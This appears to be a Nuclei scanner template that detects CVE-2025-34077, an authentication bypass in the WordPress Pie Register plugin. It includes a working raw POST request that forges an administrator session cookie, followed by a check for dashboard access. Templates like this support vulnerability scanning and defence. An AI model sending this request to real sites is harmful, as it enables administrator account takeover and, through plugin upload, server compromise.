WordPress Pie Register <= 3.7.1.4 - Authentication Bypass

id: CVE-2025-34077

info:
  name: WordPress Pie Register <= 3.7.1.4 - Authentication Bypass
  author: kylew1004
  severity: critical
  description: |
    An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.
  reference:
    - https://github.com/MrjHaxcore/CVE-2025-34077
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34077
    - https://securityvulnerability.io/vulnerability/CVE-2025-34077
  classification:
    epss-score: 0.84709
    epss-percentile: 0.99288
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/pie-register/"
  tags: cve,cve2025,wordpress,wp-plugin,pie-register,wp,auth-bypass

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null

    matchers:
      - type: dsl
        dsl:
          - "contains(set_cookie,'wordpress_logged_in_')"
          - "status_code==302"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
        condition: and
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